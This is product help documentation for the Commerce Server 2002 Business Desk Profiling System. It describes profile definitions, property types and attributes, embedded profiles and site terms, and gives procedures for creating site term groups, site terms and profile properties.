The Profiling System provides loose support for transactions. The data aggregation layer brackets INSERT, UPDATE, and DELETE data store operations that aggregate across multiple stores in a transaction, and commits them only after all data store operations have succeeded against non-transactional data stores (such as directory stores).

You can enable loose support by creating a custom attribute named IsTransactioned in the profile definition and setting it to True. If this attribute is absent or if you set it to False, this feature is disabled.

Data Size Validation

The Profiling System does not perform any data size validation, and depends on the underlying data stores to perform the validation.


Sample Profile Definitions

Commerce Server Solution Sites include five sample profile definitions. If your site developer used a Solution Site to build your site, you should have the five profile definitions and their properties listed in the following table.

Profile definition | Properties (data type) | Description
Address | Address ID (string) | Address identifier
 | Organization ID (string) | Reference to an organization profile
 | Last Name (string) | User last name
 | First Name (string) | User first name
 | Address Name (string) | Name for this address
 | Address Type (number) | Address/Ship to address/Bill to address
 | Description (string) | Description for this address
 | Address Line 1 (string) | First line of address
 | Address Line 2 (string) | Second line of address
 | City (string) | City name
 | Region Code (string) | State, region, or province code
 | State Name (string) | State, region, or province name
 | Postal Code (string) | Postal code
 | Country Code (string) | Country International Standards Organization (ISO) code
 | Country Name (string) | Country name
 | Telephone Number (string) | Telephone number at this address
 | Telephone Extension (string) | Telephone number extension at this address
 | Locale ID (number) | Locale in which to render the address form
 | Changed by (string) | Name of person who last changed this profile
 | Date last changed (date/time) | Date this profile was last changed
 | Date created (date/time) | Date this profile was created
BlanketPOs | Purchase Order ID (string) | Globally unique identifier (GUID) referring to the blanket purchase order
 | Organization ID (string) | Reference to an organization profile
 | PO Number (string) | Blanket purchase order number
 | Description (string) | Description of purchase order
 | Changed by (string) | Name of person who last changed this profile
 | Date last changed (date/time) | Date this profile was last changed
 | Date created (date/time) | Date this profile was created
Organization | Organization ID (string) | Organization ID
 | Name (string) | Name of the organization
 | Trading partner number (string) | Trading partner number
 | Administrative contact (string) | Reference to a userobject profile for the administrative contact
 | Receiver (string) | Reference to a userobject profile for the receiver
 | Organization catalog set (string) | Organization catalog set
 | Changed by (string) | Name of person who last changed this profile
 | Purchasing manager (string) | User ID of the purchasing manager of the buying organization
 | Date last changed (date/time) | Date this profile was last changed
 | Date created (date/time) | Date this profile was created
User Object | User ID (string) | User ID
 | Logon name (string) | Logon name
 | User password (password) | User password
 | E-mail (string) | User e-mail address
 | User type (number) | User type
 | User title (string) | User title
 | Last name (string) | Last name of user
 | First name (string) | First name of user
 | Telephone number (string) | Telephone number for user
 | Telephone extension (string) | Telephone number extension for user
 | Fax number (string) | Fax number for user
 | Fax extension (string) | Fax number extension for user
 | Changed by (string) | Name of person who last changed this profile
 | Default Language | Default language
 | Organization ID (string) | Organization ID
 | Account status (number) | Account status
 | User catalog set (string) | User catalog set
 | Date registered (date/time) | Date the user registered
 | Campaign History (string) | Campaign history
 | Partner service role flags (number) | Partner service role
 | Date last changed (date/time) | Date this profile was last changed
 | Date created (date/time) | Date this profile was created
Targeting Context | Page group (string) | Name of the page group (for example, Sports pages)

Five unused data members are included in the User Object profile definition, and five unused database columns are provided so that you can add up to five properties to the User Object profile definition and map them without contacting your system administrator to extend your database.

See Also

Adding Properties to a Profile Definition

Adding a Property that Maps to a Site Term

Deleting Properties from a Profile Definition

Embedding a Profile Definition


Embedded Profile Definitions

You can create a relationship between two profile definitions by embedding one profile definition in another. This relationship is used to create profiles that are related to each other. You can create up to four levels of embedded profile definitions to limit client resource usage. As a site developer, you can configure more than four levels.

With embedded profile definitions, you can:

  • Embed one profile definition per profile property.
  • Create multiple properties that are defined as embedded profile definitions within a single profile definition.
  • Define a property of type profile as multi-valued to collect multiple instances of the profile data with that property.
  • Define a property of type profile as single-valued to collect only one instance of the profile data with that property.

For example, you can add a multi-valued property named Employees to the Organization profile definition, and use the User Object profile definition as the type reference for the Employees property. You can use this structure to collect the profile data for all of the employees in an organization.

Multiple values for a profile property are stored in the mapped database column as a semicolon (;) separated string.

To be able to search and update an Organization user profile, add the organization name to the user profiles created with the Employee property in the Organization profile definition.

If you add a single-valued property named Address to the User Object profile definition, with the Address profile definition as the type reference, you can then collect an address for each set of user data you collect with the Employee property in the Organization profile definition. You can edit up to four levels of profiles.

If you are collecting specific variations of the same type of data, for example, shipping and billing addresses for each user, create a profile property for each address type. This makes it easier to identify which address you are editing when you access the addresses from inside the user profile.

After you have updated the profile definition and used the Publish Profiles module to update the profile definition information on your Web site, your Web site designer can use the GetProfile or GetProfileByKey method to retrieve the ProfileObject objects corresponding to the specified primary key value and schema type of the embedded address profile definitions, and add the properties of the Address profile definition to your Web site.

After the Address profile definition has been added to your Web site, you can use the primary keys collected in the address properties of the user profile from the associated address profiles to view address profile data with the associated user profile data.

Embedding the Address profile definition and the User Object profile definition

You embed profile definitions to create a relationship between two profiles. For example, you can create a relationship between the Address profile definition and the User Object profile definition. There are two ways you can extend the User Object profile definition to collect address information:

  • Embed the Address profile definition in the User Object profile definition
  • Add address profile properties to the User Object profile definition

The following table shows a relationship created by embedding the Address profile definition in the User Object profile definition. When the user, Sean Chai, fills out his address information, the primary key of the address profile associated with him becomes the value of the Billing Address property of his user profile. (See bold text.)

User Object profile definition property | Value for property in user profile | Address profile definition property | Value for property in address profile
Name | SeanChai | Address ID | Address.SeanChai
Billing Address (embedded Address profile definition) | Address.SeanChai | Street | 1234 Main Street

When you embed the Address profile definition in the User Object profile definition, you create a relationship between a user profile and an address profile for each user who registers on your Web site and provides address information.

You can embed more than one profile definition in a single profile definition, so you can easily use this technique to collect more than one address from each user, such as a shipping address and a billing address. With an embedded profile definition you can also define a property as multi-valued to collect multiple versions of the profile data with that property.

For information about embedding a profile definition, see Embedding Profile Definitions.

See Also

Adding Properties to a Profile Definition

Adding a Property that Maps to a Site Term

Deleting Properties from a Profile Definition

Embedding a Profile Definition


Profile Properties

After the system administrator creates a profile definition, you can add profile properties to it by using the Business Desk Profile Definition Designer module.

Profile properties determine the information that is collected in a profile. For example, the User Object profile definition could contain the following properties: first name, last name, city, gender, age, and e-mail address. You can organize related profile properties into groups.

The following figure shows the parts of a sample User Object profile definition.

A figure showing a sample profile definition.

You can create profile properties of the following types:

Note

  • Commerce Server 2002 supports Unicode except surrogates.
Property type | Property description
String | Stores up to a maximum of 4,000 characters. String properties map to string data members.
Long String | Stores up to a maximum of 2 to the power of 17 (217) characters. Long string properties map to string data members.
Number | Stores integers. The maximum length of a number property is determined by the data store. Number properties map to number data members.
Decimal | Stores floating point numbers. The maximum length of a decimal property is determined by the data store. Decimal properties map to number data members.
Boolean | Stores one of two values (true/false, yes/no, or 1/0). Boolean properties map to Boolean data members.
Binary | Stores binary data with a maximum size of 4 KB. Binary properties map to binary data members.
Long Binary | Stores content, such as spreadsheets, documents, graphics, and sound up to a maximum size of 128 KB. Long binary properties map to binary data members.
Date/Time | A composite date and time value. The format used and the maximum length are determined by the data store. Date/time properties map to date/time data members.
Date | Contains date values that are in the range of 1/1/1950 to 12/31/2049. The format used and the maximum length are determined by the data store. Date properties map to date/time data members.
Time | Contains values for hour, minute, second, and millisecond. The format used and the maximum length are determined by the data store. Time properties map to date/time data members.
Currency | Accepts numbers in currency format. The currency format used and the maximum length are determined by data store. Currency properties map to currency data members.
Password | Accepts text, and is treated like a string by the Profiles resource. Commerce Server Business Desk displays the value stored in a password property as asterisks (*). To avoid data loss, always replace the entire password. Password properties map to string data members and have a maximum length of 255 Unicode characters.
Site Term Site term properties are associated with a site term. Site term properties can be single-valued or multi-valued.
  • Single-valued site term properties allow users to select only one value.
  • Multi-valued site term properties allow users to select multiple values.

For example, your application could allow users to select multiple site term values on your Web site by pressing the CTRL key and clicking their choices from the site term drop-down list.

The values stored in this property must be valid values from the list of term names associated with that site term. Site term properties map to string data members and have a maximum length of 255 Unicode characters. Multiple values of a site term property are stored as a semicolon-separated string.
Profile Associated with a profile definition. A property containing an embedded profile definition can be single-valued or multi-valued. The value(s) stored in this property should be the primary key of a specific instance(s) of the associated profile(s).

A single-valued property containing an embedded profile definition allows a single profile to be created with the embedded profile definition. A multi-valued property containing an embedded profile definition allows an unlimited number of profiles (limited only by system capacity) to be created with the embedded profile definition.

Profile properties map to string data members and have a maximum length of 255 Unicode characters. You can embed an unlimited number of profile definitions in a single profile definition. You use the Profile Editor module to edit up to four levels of embedded profiles, including the container profile, from the container profile.


Profile Property Attributes

Each profile property has attributes. Attributes provide information about the property. For example, the First Name property has the following attributes: Name, Display Name, Description, and Type.

Attributes include information such as the data type of the profile property (for example, number, text, decimal, or site term), and whether the property is single-valued (for example, only one First Name entry is allowed per user) or multi-valued. You can also specify that the data can be exported. For example, data can be exported into the Data Warehouse.

There are two special types of attributes:

  • Custom profile attributes.
  • Advanced profile attributes.

Custom Profile Attributes

Custom profile attributes are application-specific attributes. You can define custom attributes for properties. For example, you can create a custom attribute that controls how a property is displayed on a Web site page. For information about adding custom profile attributes to a property, see Adding Custom Attributes to a Profile Property.

Custom attributes control how the Profile Editor module displays a generic profile in the Find screen and in the Edit Profile screen.

For newly created generic profiles, you must set the sDisplayColumn and sFriendlyName custom attributes. If these attributes are not defined, the Find now button will not be enabled, and you will not be able to search for instances of those profiles.

Custom attributes control where the data collected with a profile property is stored in the Data Warehouse. You add the DWMemberName custom attribute to a property to specify the column in the Data Warehouse where the data collected with that profile property will be stored.

The following table lists the custom attributes for profile properties and describes how they are used.

Custom attribute Description Values
DWMemberName Specifies the name of the data member (in this case a column in a table) in the Data Warehouse where the profile property will be stored. If the member name (column) does not exist in the specified Data Warehouse class (table), the Profile data import DTS task will create it. The name of the column in the Data Warehouse.

Note

  • Your system administrator must add the DWClassName custom attribute to the profile definition to specify in which table the profile data is stored in the Data Warehouse.
IsTransactioned Specifies support of write transactions across multiple transactional data stores. True = Enabled
False = Disabled
sAnonymousAccess Specifies anonymous user access to the property in the Customer Service page in the Web site. 0 = Hide from anonymous users
1 = Read only
2 = Editable
sDelegatedAdminAccess Specifies delegated administrator access to the property in the Customer Service page of the Web site. 0 = Hide from administrators
1 = Read only
2 = Editable
sDisplayColumn Specifies the profile data that is displayed and is used to identify profiles on the Find screen of the Profile Editor module for a particular generic profile definition. When a profile contains only one property that has an sDisplayColumn custom attribute defined, then by default, the profile display column is sorted in ascending order on that property. The value determines the relative width of the column for the property.

Notes

  • This attribute is case-sensitive and has a maximum width of 100.
  • Properties with this attribute cannot be defined as a join or dual key.
  • Properties with this attribute cannot be a site term or profile type reference, and they must be mapped to a data member.
SFeatureID Specifies the site scenarios for which the property is displayed in the Customer Service and the Partner Service page of the Web site. 0 = Always display
1 = Display only when the site supports the delegated administrator options
3 = Display only when the site uses Active Directory directory service
SFriendlyName Specifies the profile data that is displayed and is used to identify the profile being edited in the title bar of the Edit Profile screen of the Profile Editor module. The value of the sFriendlyName attribute is not used.

Notes

  • This attribute is case-sensitive.
  • Properties with this attribute cannot be defined as a join or dual key.
  • Properties with this attribute cannot be a site term or profile type reference, and they must be mapped to a data member.
sSearchOptions Specifies that a particular property is available for the user in the site search options. None = Property is not available for any search operations

All = Property is available for both simple and advanced search operations

Advanced = Property is available for advanced search operations only
SShownInList Specifies that a particular property is displayed on the list sheet page. 0 = Property is not displayed on the list sheet page

1 = Property is displayed on the list sheet page
sSiteAdminAccess Specifies site administrator access to the property in the Customer Service page in the Web site. 0 = Hide from site administrator
1 = Read only
2 = Editable
SUserAccess Specifies registered user access to the property in the Customer Service page in the Web site. 0 = Hide from registered users
1 = Read only
2 = Editable
Password Specifies that the password is of the property type.

If the value of this custom attribute is 1, special user interface features can be implemented to maintain the security of the password. For example, you can have asterisks displayed in the browser window instead of the actual characters, and use multiple fields to verify password change operations.

0 = Regular property type
1 = Password property type

For more information about securing user profile data, see "Securing Your Site" in Commerce Server 2002 Help.
EncryptionType Specifies that the property is encrypted. Use this attribute to indicate properties that must be encrypted in the store.

Also note that this is a reserved custom property value. When you mark a property as encrypted, it is automatically created for you, and it is hidden in the custom attributes dynamic table.

 1 = Encrypted with a public/private key

2 = Encrypted with a one-way hash key

Note

  • You can access the metadata of the predefined custom attributes as described in the preceding table. However, you cannot access metadata for profile custom attributes that you create for yourself.

For information about adding custom attributes to a profile property, see Adding Custom Attributes to a Profile Property. For information about adding custom attributes to profile definitions, see "Adding a Custom Attribute to a Profile Definition" in Commerce Server 2002 Help.

Advanced Profile Attributes

You use advanced profile attributes to change how your applications use a profile property. For example, the Exported attribute determines whether the property is exported to the Data Warehouse.

The following table lists the advanced attributes and the purpose of each one.

Attribute | Purpose
Active Indicates whether this property is available through the Profiling system. Inactive properties are not displayed in Business Desk.

Note

  • A property can only be active if it is mapped to data.
Map to data | The data member the property maps to. You can add, delete, or edit profiles based on a given profile definition only if that profile definition has at least one mapped property.
Key type There are four key types you can assign:
  • Unique Key. Indicates that the value of this property is unique for all members. You map an attribute that is specified as a unique key to a unique field in a SQL Server database or to a unique attribute in a Lightweight Directory Access Protocol (LDAP) source.

    Unique Key is displayed to the right of a property that is assigned a unique key.

  • Primary Key. Indicates that the value of this property is unique for all members. You map an attribute that is specified as a primary key to a primary field in a SQL Server database or to a unique attribute in a LDAP source. The primary key is used to relate profiles created with embedded profile definitions.

    Primary Key is displayed to the left of a property that is assigned a primary key.

  • Join Key. Relates multiple data stores through a common property in the Profile Service. To edit a property that is defined as a join key that has been used to collect data, you must delete the database columns containing the join key data. After you delete the database columns, you must migrate the old data into the new database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.

    Join Key is displayed to the left of a property that is assigned a join key.

  • Dual (Primary and Join) Key. Indicates that the value of this property is unique, and relates this property to a property in another data store.

    Dual Key is displayed to the left of a property that is assigned a dual key.

Required Indicates that the property is required.

Note

  • If a property is required, it must also be active.
Exported | Specifies that the property is imported into the Data Warehouse. For more information, see “Running the Profile Data Import DTS Task” in the Commerce Server 2002 Help.
Defer cache load | Indicates that this property is not loaded initially when the profile is retrieved, but will be loaded when this particular property is accessed. Each deferred cache property will be retrieved individually from the OLEDB Provider for Commerce Server when it is accessed.
Multi-valued Enables the capturing of a collection of values that are associated with the property.

Note

  • If a property is multi-valued, it is not searchable.
Searchable Indicates that this property is indexed in the underlying data store and is available for searching using the Find By function. You map a searchable attribute to an indexed field in the SQL Server database or LDAP source.

Note

  • If a property is searchable, it cannot be multi-valued.
RDN | Type the Relative Distinguished Name (RDN) for a directory store. If this attribute is set for a property, this member maps to the RDN attribute of a Lightweight Directory Access Protocol (LDAP) class in the underlying store. This does not apply to OLE DB Provider for Microsoft Commerce Server (OLE DB) sources, or any other data source type.
Hashing key | Indicates that this property will be used to distribute profile instances across multiple partitions. To retrieve this profile you must query on this key.

Using hashing keys to store profile definition data in multiple databases

A hashing key is a unique key that is used to keep data from a single source (in this case, a profile definition) together, even though physically it is stored in multiple databases. Data sources use a hashing key to partition data across multiple databases. You use the Profiles resource (or the Profile Definition Designer module in Commerce Server Business Desk) to select a profile property to be the hashing key for a profile definition.

If you do not define a profile property as the hashing key, all data collected with a profile definition is stored in the database assigned to the default partition. After you have defined a hashing key, you cannot redefine it. For information about defining a hashing key, see Adding Properties to a Profile Definition.

See Also

Adding Properties to a Profile Definition

Adding Custom Attributes to a Profile Property

Running the Profile Data Import DTS Task

Specifying Data to be Imported into the Data Warehouse


Site Terms

A site term is a data type that you create. It is a list of specific values, called terms, which are pertinent to your site. You use a site term to assign this list of values to a property as an attribute.

You can create two types of site terms:

  • Single-valued site terms. When users visit your site, they can select only one value from the site term drop-down list.
  • Multi-valued site terms. When users visit your site, they can select multiple values from the site term drop-down list. For example, you could have a multi-valued site term to allow users to select more than one hobby, or multiple dream vacation destinations.

    By using a multi-valued site term to allow users to select more than one similar choice (such as two hobbies), you can reduce the redundancy of the questions that you ask users while collecting a wider range of information from them (such as they want to travel to both Paris and Mexico City). Multiple values selected by a user for a site term are stored as semicolon-separated strings.

For example, if you create a site term for favorite color, you provide a list of the colors from which users can select their favorite color. The Favorite Color site term restricts color choice to the colors you include. This requires users who favor variations of purple, such as mauve, violet, or lavender, to choose purple.

You use the Site Terms Editor module to create and manage site terms.

You use site terms to:

  • Standardize and restrict choices when you request user input on your site.
  • Avoid spelling variations in user input.
  • Match values, such as a product color and the favorite color of a user, so you can target content to users. For example, if the color property of a product is "purple," you can match it to the favorite color site term, and then deliver ads to the user for the purple product.

On your Web site, site terms are presented to users in a form, as selections in drop-down lists.

See Also

Site Term Groups

Sample Site Terms

Creating a Site Term Group

Creating a Site Term


Site Term Groups

You use site term groups to organize site terms in the Site Terms Editor. For example, suppose you have 50 site terms, and you use 10 to collect information about the products a user likes, 20 to collect information about the user's lifestyle, and 20 to collect information about the user's opinions about current events. You could then create a site term group named Products for the product preference site terms, a site term group named Lifestyle for the lifestyle site terms, and a site term group named Opinions for the opinion site terms.

See Also

Site Terms

Sample Site Terms

Creating a Site Term Group

Creating a Site Term


Sample Site Terms

Commerce Server Solution Sites include sample site terms. If your site developer used a Solution Site to build your Web site, then you should have the following site term groups, site terms, and terms (values).

Site term group | Site terms | Terms
User Site Terms | Account Status | Active Account Inactive Account
 | User Role | Normal User Administrator
 | User Type | Anonymous User Registered User
 | Languages | For example: English French German Japanese Spanish
Calendar Site Terms | Days | Sunday Monday Tuesday Wednesday Thursday Friday Saturday
 | Months | January February March April May June July August September October November December

See Also

Creating a Site Term Group

Creating a Site Term


Active Directory Groups

You use the Group Manager module to manage user membership in Active Directory groups. The Group Manager module requires the following:

  • Your system administrator bases your site and Business Desk on the SupplierActiveDirectory Solution Site.
  • At least one property of the User Object profile definition is mapped to an Active Directory data source.
  • Your system administrator creates Active Directory groups and assigns site access privileges to them.

You use the Group Manager module to add and remove users from the Active Directory groups. When a user is added to an Active Directory group, the user has the level of access to your site that is specified for that Active Directory group.

This section contains:

Using Active Directory Groups to Manage User Access to Your Site

See Also

Adding Users to an Active Directory Group

Adding Groups to an Active Directory Group


Using Active Directory Groups to Manage User Access to Your Site

Commerce Server Business Desk provides the Group Manager module for managing user membership in Active Directory groups. The Group Manager module requires the following:

  • Your site and Business Desk are based on the SupplierActiveDirectory Solution Site.
  • You map at least one property of the User Object profile definition to an Active Directory data source.
  • You create Active Directory groups in Commerce Server Manager with Windows Active Directory Group Manager.

You use Active Directory Group Manager to create Active Directory groups for which you specify site access rights. The business manager uses the Business Desk Group Manager module to add and remove users from the Active Directory groups. When a user is added to an Active Directory group, the user has the level of access to your site that is specified for that Active Directory group.

For information about creating Active Directory Groups, see Microsoft Windows Help.

See Also

Adding Users to an Active Directory Group

Adding Groups to an Active Directory Group


Best Practices for Business Desk Profiles

This topic lists the best practices for creating and managing your profiles.

  • Use the Permissions module in the Security category to assign permissions to profiles, profile definitions, site terms, and profile properties.
  • When you create profile properties, you must use Unicode strings. Commerce Server 2002 does not support non-Unicode strings in profile properites.
  • To base a new profile on an existing generic profile definition, the profile definition must contain two custom attributes:
    • The sDisplayColumn attribute assigns a property as the heading for a column in the Find screen of the Profile Editor module. If the profile definition does not have an sDisplayColumn attribute, Commerce Server Business Desk cannot display the profiles created with that profile definition in the Find screen of the Profile Editor module, and you cannot edit the profiles.
    • The sFriendlyName attribute controls which property is displayed as the far left column in the Find screen of the Profile Editor module, and in the title bar of the Edit Profile: <friendlyname> screen of the Profile Editor module. For information about custom attributes and how to add them to a profile definition, see Adding Properties to a Profile Definition.
  • Publish profile changes to your Web site at off-peak hours. If you publish profile changes to your Web site during a high-usage time, you will bring down your site.


Creating a Site Term Group

You use the Site Terms Editor module to create site term groups, which organize related site terms. For example, if you are creating hobby site terms, you could create a site term group for each category of hobby, such as creative and travel, and within each category group, create a site term for each segment of hobbies for that category. For example, you might create the following site term groups:

Creative hobbies site term group containing the following site terms:

  • Crafts (sewing, doll making, stamping)
  • Art (drawing, painting, sculpture),
  • Drama (acting, producing)
  • Music (classical, jazz, rock)

Travel site term group containing the following site terms:

  • Cruises (Caribbean, European, China, Alaska)
  • Tours (London, Paris, Mexico City, Hong Kong, Washington D.C.)
  • Adventures (river rafting, mountain climbing, bicycle tours)

Site term groups appear in the Site term structure list in the Site Terms Editor screen with a directional arrow to the left of the group name. You click the directional arrow to expand the list of site terms.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To create a site term group

  1. In Profiles, click Site Terms Editor.
  2. In the Site Terms Editor screen, click Add.
    Notes
    • You can create a hierarchy of site term groups to organize your site terms. To create a hierarchy of site term groups, you select an existing site term group to which you want to add a new site term group before you click Add.
    • If a site term group is selected, the new group you create will exist under the selected site term group. If you want to deselect a site term group before you add a new group, you must click Back on the toolbar, and then in Profiles, click Site Terms Editor.
  3. In the Add dialog box, select Add a new group, and then click OK.
  4. In the Site Terms Editor screen, in the Attributes section, do the following:
    Use this | To do this
    Name | Type a programmatic name for the new term group. The name can contain a maximum of 128 alphanumeric characters, and the underscore (_) symbol. The name cannot contain spaces.
    Display name | Type a display name for the new term group. The display name can contain a maximum of 128 characters.
    Description | Type a description for the new site term group.
  5. To apply the new site term group and display it in the Site term structure list, click Apply.

    Note

    • You can add as many site term groups as you need. Click Add to add another site term group.
  6. To save the new site term group(s) and return to the main Business Desk screen, click Save and go back on the toolbar.

The site term group(s) is saved. You can now use the site terms group to organize your site terms.

See Also

Workflow for Profile Management

Creating a Site Term

Editing Site Terms

Adding a Term to a Site Term


Creating a Site Term

You use the Site Terms Editor module to create site terms and then add terms (values) to your site terms.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To add a site term

  1. In Profiles, click Site Terms Editor.
  2. In the Site Terms Editor screen, select the group to which you want to add the site term, and then click Add.
  3. In the Add dialog box, select the Add a new site-term option, and then click OK.
  4. In the Site Terms Editor screen, in the Site Term Attributes section, do the following:
    Use this | To do this
    Name | Type a programmatic name for the new site term, for example, Favorite_Color. The name can contain a maximum of 128 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name for the new site term that will appear to users on the Web site. For example, Favorite Color. The display name can contain a maximum of 128 characters.
    Description | Type an identifying description for the new site term.
  5. To apply the new site term and display it in the Site term structure list, click Apply.

    Note

    • You can add as many site terms as you need. Click Add to add another site term.
  6. To save the new site term(s) and return to the Business Desk screen, click Save and go back on the toolbar.

The site term(s) is saved. You can now add terms (values) to the new site term. For information about adding terms to a site term, see Adding a Term to a Site Term.

See Also

Creating a Site Term Group

Adding a Property that Maps to a Site Term

Adding a Term to a Site Term


Adding a Term to a Site Term

You use the Site Terms Editor module to add terms (values) to your site terms.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To add a term to a site term

  1. In Profiles, click Site Terms Editor.
  2. In the Site Terms Editor screen, expand the site term group that contains the site term to which you want to add the term(s), and then select the site term.
  3. In the Site Terms Editor screen, in the Terms section, do the following:
    Use this | To do this
    Term Name | Click New and then type a name for the new term. A term is a value of the site term. For example, you might type Red, Blue, Green, and Yellow as terms for the Favorite_Color site term. The name can contain a maximum of 128 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name for the new term that will appear to users on the Web site. The display name can contain a maximum of 128 characters.
  4. To add the new term to the site term and display it in the term list, click Accept.

    Note

    • You can add as many terms for the new site term as you need. Click New to add another term.
  5. To apply the site term with the new terms, click Apply.
  6. To save the site term with the new terms and return to the Business Desk screen, click Save and go back on the toolbar.

The site term is saved. You can now add the site term to a profile definition.

After you create your site terms, you can set up a profile definition to include the site terms. For example, you can create a Favorite_Color site term, and then add it to the User Object profile definition. When users answer the Favorite Color question on your Web site, they select their favorite color from a drop-down list containing the terms you typed in the Favorite_Color site term.

See Also

Adding a Property that Maps to a Site Term

About Business Desk Security


Creating a Profile Definition

Your system administrator can create generic profile definitions to meet your business needs with the Profile resource in Commerce Server Manager. Generic profile definitions are profile definitions other than user or organization profile definitions, such as an Address profile definition. You use the Profile Editor module to edit and delete profiles created with generic profile definitions.

The system administrator must perform the following tasks before creating a profile definition:

  1. Determine where the profile data will be stored.
  2. Create the space for storing the data, such as adding columns to a database.
  3. Create the data members that will be used to map (connect) each piece of data collected with a profile definition to the place where it will be stored.

The Commerce Server Solution Sites include the following sample profile definitions:

  • Address
  • BlanketPOs (purchase orders)
  • Organization
  • Targeting Context
  • User Object

Five unused data members are included in the User Object profile definition, and five unused database columns are provided so you can add up to five properties to the User Object profile definition and map them without contacting your system administrator to extend your database. For a list of properties included with each profile definition, see Sample Profile Definitions.

See Also

Creating a Profile Definition in the Profiles Resource


Adding a Property Group to a Profile Definition

You use the Profile Definition Designer module to add property groups to profile definitions. You use property groups to organize profile properties in the Profile Definition Designer. For example, suppose that you add 50 properties to the User Object profile definition to gather data about the product preferences, lifestyles, and current event opinions of the users who visit your Web site. You can create property groups such as Product, Lifestyle, and Opinions to organize the properties so that they are easy to find in the Properties list in the Profile Definition Designer screen.

Property groups appear in the Properties list in the Profile Definition Designer screen with a directional arrow to the left of the group name. You click the directional arrow to expand the list of properties.

You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

To add a new property group

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition to which you want to add a new property group, and then click Open on the toolbar.
  3. In the Profile: <profile definition> screen, in the Properties list, click Add.

    Notes

    • You can create a hierarchy of property groups to organize your profile properties. To create a hierarchy of property groups, you select an existing property group to which you want to add a new property group before you click Add.
    • If a property group is selected, the new property group you create will exist under the selected property group. If you want to deselect a property group before you add a new group, you must click Back on the toolbar, and then in Profiles, click Profile Definition Designer.
  4. In the Add dialog box, select the Add a new group option, and then click Yes.
  5. In the Attributes section, do the following:
    Use this | To do this
    Name | Type a programmatic name for the new property group. The name can contain a maximum of 128 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces
    Display name | Type a display name for the new property group. The display name can contain a maximum of 128 characters.
    Description | Type a description for the new property group.
  6. To apply the new property group and display it in the Properties list, click Apply.
  7. To save the property group and return to the Profiles screen, click Save and go back on the toolbar.

The profile definition is saved with the new property group. You can now move existing properties into the new group, or create new properties for the new group. For information about moving properties see, Moving Profile Properties. After you add a property group to a profile definition, you must publish the changes on your Web site. For information about publishing your changes, see Publishing Profile Definition Changes on Your Web Site.

See Also

Adding Custom Attributes to a Profile Property

Profile Definitions

Profile Properties

Adding Properties to a Profile Definition

Editing Profile Properties


Adding Properties to a Profile Definition

You use the Profile Definition Designer module to add properties to profile definitions, and define the attributes of the new properties.

Profile properties specify the data that will be collected when a user visits your Web site. For example, the profile property First Name specifies that the first name of the user should be collected.

This section contains:

  • Adding a New Property to a Profile Definition
  • Mapping a Property to a Data Member
  • Adding Custom Attributes to a Profile Property
  • Adding Demographic Properties to the User Object Profile Definition


Adding a New Property to a Profile Definition

Each profile property has attributes that define the characteristics of the information the property collects. For example, you can use the attributes of the profile property First Name to define the property as a single-valued string that will be exported to the Data Warehouse.

To add a new property

  1. In Profiles, click Profile Definition Designer.
  2. In the Profiles screen, select the profile definition to which you want to add a property, and then click [image] on the toolbar.
  3. In the Profile: <profile definition> screen, in the Properties list, select the property group to which you want to add the new property, and then click Add.
    Note
    • If you do not select a property group, the new property will not be organized by property group, and will appear at the property group level.
  4. In the Add dialog box, select the Add a new property option, and then click OK.
  5. In the Attributes section, do the following:
    Use this | To do this
    Name | Type a programmatic name for the property. The name can contain a maximum of 128 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display name | Type a display name for the property. The display name can contain a maximum of 128 characters.
    Description | Type a description for the property.
    Type Select the property type from the drop-down list. Properties can be of the following types:
    • String
    • Long String
    • Number
    • Decimal
    • Boolean
    • Binary
    • Long Binary
    • Date/Time
    • Date
    • Time
    • Currency
    • Password
    • Site Term
    • Profile

    Note

    • For information about adding a property that maps to a site term, see Adding a Property that Maps to a Site Term.
    • For information about creating a relationship between two profile definitions, see Embedding a Profile Definition.
  6. In the Advanced Attributes section, do the following:
    Use this | To do this
    Active | Specify whether the new property is Active or Inactive.
    Map to data Click the ellipsis […] button to open the Data Source Picker dialog box.

    In the Data Source Picker dialog box, select the data member for the property. The data members available for the property are the data members that are not already used in the profile definition you are editing. Properties that are being used by the profile definition are unavailable.

    If you do not map the property to a data member, the property will not be stored in a database, but will be available in memory, for example to store state information while a user is visiting your Web site.

    Key type Select a key type from the drop-down list:
    • Unique Key. Indicates that the value of this property is unique for all members. You map an attribute that is specified as a unique key to a unique field in a SQL Server database or to a unique attribute in a Lightweight Directory Access Protocol (LDAP) source.
    • Primary Key. Indicates that the value of this property is unique for all members. You map an attribute that is specified as a primary key to a primary field in a SQL Server database or to a unique attribute in a LDAP source. The primary key is used to relate profiles created with embedded profile definitions.
    • Join Key. Relates this property to another property in another data store in the Profile Service. To edit a property that is defined as a Join key that has been used to collect data, you must delete the database columns containing the join key data. After you migrate the old data into the new database columns, delete the database columns. Commerce Server 2002 does not support modifying the join key property when you have persisted data.
    • Dual (Primary and Join) Key. Indicates that the value of this property is unique, and relates this property to a property in another data store.
    Encrypted | Commerce Server 2002 supports two types of encryption: Asymmetric Encryption (AE), and One Way Hash. Commerce Server 2002 does not support symmetric encryption. See Adding Encrypted Properties to a Profile Definition.
    Required | Specify that this property is required to contain a value.
    Exported | Specify that this property is to be exported to the Data Warehouse.
    Defer cache load | Specify that the property will not be returned until explicitly requested. Each deferred cache property will be retrieved individually from the OLEDB Provider for Commerce Server when it is accessed.
    Multi-valued | Specify that the property accepts more than one value.
    Searchable | Specify that the property will be available to the search function of the Web site.
    RDN | Mark this property as the Relative Distinguished Name (RDN) for all profiles to be mapped to Lightweight Directory Access Protocol (LDAP) sources. This does not apply to OLE DB Provider for Microsoft Commerce Server (OLE DB) sources, or to any other data source type.
    Hashing key | Specify that this property value will be hashed and used to determine the data source partition in which the profile data will be stored.
  7. To apply the new property and display it in the Properties list, click Apply.
  8. To save the property, click Save on the toolbar to save the profile.

